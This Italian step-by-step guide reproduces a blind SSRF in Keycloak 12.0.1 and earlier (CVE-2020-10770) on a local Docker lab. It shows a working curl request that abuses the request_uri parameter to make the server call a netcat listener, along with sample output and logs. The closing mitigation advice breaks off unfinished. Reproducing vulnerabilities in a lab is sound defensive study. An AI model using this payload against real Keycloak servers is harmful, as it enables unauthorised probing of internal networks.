
Guida passo-passo per riprodurre la vulnerabilità SSRF cieca in Keycloak (CVE-2020-10770) con configurazione Docker, configurazione del listener e consigli di mitigazione.
Questa è una guida passo passo su come testare la SSRF cieca (CVE-2020-10770) scoperta da Lauritz Holtmann e documentata nel suo post sul blog.
Ha anche spiegato brevemente come testarla. Questa è solo una spiegazione più dettagliata.
Tutti i crediti vanno a Lauritz.
Qui uso Docker su Mac OSX.
Mi servivano tre shell: una per l'istanza Keycloak, una per il listener e una per la richiesta curl.
Ti serve un'istanza Keycloak in esecuzione con una versione <= 12.0.1.
Puoi avviare un'istanza di test con il seguente comando.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
Visita http://localhost:8080/auth/admin/ in un browser e accedi con il nome utente "admin" e la password "admin".
Sul lato sinistro passa al menu "Clients". Questo ti porterà alla panoramica dei Clients.

Sul lato destro clicca su "Create" per creare un nuovo client. Questo ti porterà alla pagina di creazione del client.

Scegli un "Client ID" ragionevole per il tuo client Oauth2. Qui scelgo "blueteamoauth2client" (questo è il tuo <Keycloak_Client_ID>). Se usi un altro Client ID, devi modificare un parametro di query nella richiesta http dell'attacco. Clicca su save per finalizzare la configurazione del client.

Ora vedrai le impostazioni del nostro nuovo client Oauth2.

Questo è tutto per la parte del difensore.
Ti serve un listener che accetti la richiesta che vogliamo innescare con la nostra SSRF. Quindi l'ip e la porta devono essere raggiungibili dal server Keycloak.
In questo caso non puoi usare localhost, perché dal punto di vista di Keycloak localhost sarà nel container stesso.
Per recuperare l'indirizzo ip su Mac OS puoi usare
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
Ho scelto di avviare il listener sul mio sistema host sulla porta 4444.
nc -v -l 4444
In un'altra shell devi fare una richiesta con curl. Devi modificarla in base alle tue esigenze.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
Le parti importanti sono:
Quindi la query nel mio caso è
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
Nel listener netcat vedrai qualcosa del genere.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
Questo significa che l'istanza Keycloak ha effettuato una chiamata http al tuo listener.
Ci saranno anche voci relative a questo nei log di Keycloak.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
Per mitigare questo problema potresti: